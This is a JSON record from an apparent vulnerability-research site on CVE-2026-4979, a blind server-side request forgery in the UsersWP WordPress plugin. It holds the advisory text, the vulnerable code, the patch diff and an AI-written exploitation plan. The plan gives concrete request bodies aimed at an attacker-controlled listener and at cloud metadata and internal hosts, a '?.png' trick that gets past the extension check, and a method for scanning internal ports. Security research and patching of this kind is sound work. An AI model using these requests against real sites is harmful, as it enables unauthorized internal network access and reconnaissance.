[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fifL-wtyW_7k7-14zC899Ci7HEC42p3FgeKrHS_DEXpw":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"source_links":41},"CVE-2026-4979","userswp-authenticated-subscriber-server-side-request-forgery-via-uwpcrop-parameter","UsersWP \u003C= 1.2.58 - Authenticated (Subscriber+) Server-Side Request Forgery via 'uwp_crop' Parameter","The UsersWP – Front-end login form, User Registration, User Profile & Members Directory plugin for WP plugin for WordPress is vulnerable to blind Server-Side Request Forgery in all versions up to, and including, 1.2.58. This is due to insufficient URL origin validation in the process_image_crop() method when processing avatar\u002Fbanner image crop operations. The function accepts a user-controlled URL via the uwp_crop POST parameter and only validates it using esc_url() for sanitization and wp_check_filetype() for extension verification, without enforcing that the URL references a local uploads file. The URL is then passed to uwp_resizeThumbnailImage() which uses it in PHP image processing functions (getimagesize(), imagecreatefrom*()) that support URL wrappers and perform outbound HTTP requests. This makes it possible for authenticated attackers with subscriber-level access and above to coerce the WordPress server into making arbitrary HTTP requests to attacker-controlled or internal network destinations, enabling internal network scanning and potential access to sensitive services.","userswp",null,"\u003C=1.2.58","1.2.59","medium",5,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:C\u002FC:L\u002FI:N\u002FA:N","Server-Side Request Forgery (SSRF)","2026-04-10 12:14:59","2026-04-11 01:25:00",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F9cd2b3fd-1bca-4611-9753-ccb57b0e36a4?source=api-prod",1,[22,23,24,25,26,27,28,29],"admin\u002Fsettings\u002Fclass-formbuilder.php","assets\u002Fjs\u002Fusers-wp.js","assets\u002Fjs\u002Fusers-wp.min.js","includes\u002Fclass-forms.php","includes\u002Fclass-userswp.php","languages\u002Fuserswp-en_US.po","readme.txt","templates\u002Fbootstrap\u002Fmodal-profile-image-crop.php","researched",false,3,"# Exploitation Research Plan: CVE-2026-4979 (UsersWP SSRF)\n\n## 1. Vulnerability Summary\nThe UsersWP plugin for WordPress is vulnerable to a blind Server-Side Request Forgery (SSRF) in the `process_image_crop()` method within the `UsersWP_Forms` class. The vulnerability arises because the plugin allows users to provide a URL for image cropping via the `uwp_crop` parameter without verifying that the URL points to a local file or an authorized domain. While it performs basic sanitization using `esc_url()` and extension checking via `wp_check_filetype()`, it fails to restrict the scheme to local paths or validate the host. The URL is subsequently passed to image processing functions (like `getimagesize()` or `imagecreatefrom*()`) which follow URL wrappers, allowing an authenticated attacker to trigger outbound HTTP requests from the WordPress server.\n\n## 2. Attack Vector Analysis\n- **Endpoint**: Any front-end page where the UsersWP form handler is active (typically the User Profile page or any page during an `init` hook).\n- **Action\u002FHook**: The `UsersWP_Forms::handler()` method is hooked to handle POST submissions.\n- **Vulnerable Parameter**: `uwp_crop` (POST parameter).\n- **Required Trigger**: `uwp_avatar_crop` or `uwp_banner_crop` must be present in the POST body to trigger the logic.\n- **Authentication**: Authenticated (Subscriber-level or higher).\n- **Preconditions**: A valid nonce for the action `uwp_crop_nonce_avatar` or `uwp_crop_nonce_banner` is required.\n\n## 3. Code Flow\n1.  **Entry Point**: A POST request is sent to the WordPress site.\n2.  **Handler**: `UsersWP_Forms::handler()` (in `includes\u002Fclass-forms.php`) detects the presence of `$_POST['uwp_avatar_crop']`.\n3.  **Vulnerable Method**: `handler()` calls `$this->process_image_crop($_POST, 'avatar', true)`.\n4.  **Insecure Validation**:\n    - Inside `process_image_crop()`, the `uwp_crop` value is taken from `$data['uwp_crop']`.\n    - It calls `$image_url = $this->normalize_url( esc_url( $data['uwp_crop'] ) );`.\n    - It calls `$filetype = wp_check_filetype( $image_url );` which only checks if the string ends in a common image extension (e.g., `.jpg`, `.png`).\n5.  **Sink**: The code proceeds to process `$image_url`. Although truncated in the provided source, the description confirms it passes this URL to `uwp_resizeThumbnailImage()`, which executes PHP image functions that support wrappers (like `http:\u002F\u002F`), triggering the SSRF.\n\n## 4. Nonce Acquisition Strategy\nThe nonce is generated dynamically and can be retrieved by an authenticated user via an AJAX call designed to load the crop modal.\n\n1.  **Identify AJAX Action**: The plugin defines `uwp_ajax_image_crop_popup_form` to return the cropping form (see `assets\u002Fjs\u002Fusers-wp.js`).\n2.  **Trigger Form Generation**: Call the AJAX endpoint as the authenticated user.\n3.  **JavaScript Context**: The localization object is `uwp_localize_data`.\n4.  **Step-by-Step Acquisition**:\n    - Create a Subscriber user and log in.\n    - Use `http_request` to call `admin-ajax.php` with `action=uwp_ajax_image_crop_popup_form&type=avatar`.\n    - Parse the HTML response for the hidden input field: `\u003Cinput type=\"hidden\" name=\"uwp_crop_nonce\" value=\"...\">`.\n\n## 5. Exploitation Strategy\nThis is a **Blind SSRF**. We will verify it by causing the server to request an external listener or an internal resource.\n\n1.  **Step 1: Authentication**: Log in as a Subscriber.\n2.  **Step 2: Get Nonce**:\n    - Request: `POST \u002Fwp-admin\u002Fadmin-ajax.php`\n    - Body: `action=uwp_ajax_image_crop_popup_form&type=avatar`\n    - Extract: Value of `uwp_crop_nonce`.\n3.  **Step 3: Trigger SSRF**:\n    - Request: `POST \u002F` (or the profile page URL)\n    - Headers: `Content-Type: application\u002Fx-www-form-urlencoded`\n    - Body: \n      ```\n      uwp_avatar_crop=1&\n      uwp_crop=http:\u002F\u002FINTERNAL_OR_EXTERNAL_TARGET\u002Ftest.png&\n      uwp_crop_nonce=[EXTRACTED_NONCE]&\n      x=0&y=0&w=100&h=100\n      ```\n    - Note: The URL in `uwp_crop` **must** end in a valid image extension (like `.png`) to pass the `wp_check_filetype()` check.\n4.  **Target Selection**: Use a collaborator\u002Fwebhook URL to confirm outbound connectivity. For internal scanning, target `http:\u002F\u002Flocalhost:port\u002Ffilename.png`.\n\n## 6. Test Data Setup\n1.  **Users**: Create a user with the `subscriber` role.\n    - `wp user create attacker attacker@example.com --role=subscriber --user_pass=password`\n2.  **Plugin Configuration**: Ensure UsersWP is active. The default \"Profile\" page should exist.\n3.  **Target URL**: Prepare a listener (e.g., `http:\u002F\u002Fattacker-controlled.com\u002Fssrf_check.png`).\n\n## 7. Expected Results\n- **HTTP Response**: The server will likely return a 200 OK or a redirect, but the processing happens in the background.\n- **Successful Hit**: The listener at `http:\u002F\u002Fattacker-controlled.com\u002Fssrf_check.png` will receive an HTTP GET request with the User-Agent of the WordPress server's PHP environment (e.g., `WordPress\u002FX.X; http:\u002F\u002F...`).\n- **Error Handling**: If the target does not return a valid image, `UsersWP_Forms` might return a `WP_Error` via `aui()->alert()`, which confirms the server attempted to read the URL.\n\n## 8. Verification Steps\n1.  **Logs**: Check the access logs of the listener server.\n2.  **Meta Verification**: The plugin might attempt to save the \"resized\" image. Check the user's meta to see if `avatar_thumb` contains a reference to the processed (or failed) crop.\n    - `wp usermeta get [USER_ID] avatar_thumb`\n\n## 9. Alternative Approaches\n- **Scheme Manipulation**: If `http` is blocked, try `ftp:\u002F\u002F` or `php:\u002F\u002Ffilter` (though `esc_url` usually limits this).\n- **Internal Scanning**: Use the response timing or the presence of the \"Something went wrong\" error message to determine if an internal port is open vs. closed.\n- **Banner SSRF**: Repeat the process using `uwp_banner_crop` and `uwp_crop_nonce_banner` if the avatar path is restricted.\n- **Bypass extension check**: If targeting a resource without an extension, use a query string: `http:\u002F\u002Finternal-service\u002Fsensitive-data?.png`.","The UsersWP plugin for WordPress is vulnerable to a blind Server-Side Request Forgery (SSRF) in the `process_image_crop()` method due to insufficient validation of the `uwp_crop` parameter. Authenticated users with subscriber-level access can provide a remote URL that the server will fetch to process during avatar or banner cropping, allowing for internal network scanning or requests to sensitive external services.","\u002F\u002F includes\u002Fclass-forms.php lines 216-248 (handler entry points)\n} elseif ( isset( $_POST['uwp_avatar_crop'] ) ) {\n    $errors = $this->process_image_crop( $_POST, 'avatar', true );\n    if ( ! is_wp_error( $errors ) ) {\n        $redirect = $errors;\n    }\n    $message   = __( 'Avatar cropped successfully.', 'userswp' );\n    $processed = true;\n} elseif ( isset( $_POST['uwp_banner_crop'] ) ) {\n    $errors = $this->process_image_crop( $_POST, 'banner', true );\n    if ( ! is_wp_error( $errors ) ) {\n        $redirect = $errors;\n    }\n    $message   = __( 'Banner cropped successfully.', 'userswp' );\n    $processed = true;\n}\n\n---\n\n\u002F\u002F includes\u002Fclass-forms.php lines 361-368 (vulnerable sink)\n\u002F\u002F Ensure we have a valid URL with an allowed meme type.\n$image_url = $this->normalize_url( esc_url( $data['uwp_crop'] ) );\n$filetype  = wp_check_filetype( $image_url );\n\n$errors = new WP_Error();\nif ( empty( $image_url ) || empty( $filetype['ext'] ) ) {\n    $errors->add( 'something_wrong', __( 'Something went wrong. Please contact site admin.', 'userswp' ) );\n}","--- includes\u002Fclass-forms.php\n+++ includes\u002Fclass-forms.php\n@@ -361,6 +361,11 @@\n \t\t\u002F\u002F Ensure we have a valid URL with an allowed meme type.\n \t\t$image_url = $this->normalize_url( esc_url( $data['uwp_crop'] ) );\n \t\t$filetype  = wp_check_filetype( $image_url );\n+\n+\t\t$uploads = wp_upload_dir();\n+\t\tif ( strpos( $image_url, $uploads['baseurl'] ) === false ) {\n+\t\t\t$image_url = '';\n+\t\t}\n \n \t\t$errors = new WP_Error();\n \t\tif ( empty( $image_url ) || empty( $filetype['ext'] ) ) {","1. Authenticate to the WordPress site as a Subscriber or any user with profile access.\n2. Obtain a valid security nonce for image cropping (`uwp_crop_nonce_avatar` or `uwp_crop_nonce_banner`) by sending a POST request to `\u002Fwp-admin\u002Fadmin-ajax.php` with the action `uwp_ajax_image_crop_popup_form&type=avatar`.\n3. Identify a target internal or external URL to request (e.g., `http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F`). \n4. Append a valid image extension to the target URL if necessary (e.g., `?.png`) to pass the `wp_check_filetype` validation.\n5. Send a POST request to the site's profile page (or any endpoint where the `handler` hook is active) with the following body: `uwp_avatar_crop=1&uwp_crop=[TARGET_URL]&uwp_crop_nonce=[NONCE]&x=0&y=0&w=100&h=100`.\n6. The server will perform a GET request to the provided URL, confirming the SSRF. This can be verified via a listener or by observing response differences for internal network scanning.","gemini-3-flash-preview","2026-04-16 16:05:22","2026-04-16 16:05:44",{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","1.2.58","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fuserswp\u002Ftags\u002F1.2.58","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fuserswp.1.2.58.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fuserswp\u002Ftags\u002F1.2.59","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fuserswp.1.2.59.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fuserswp\u002Ftags"]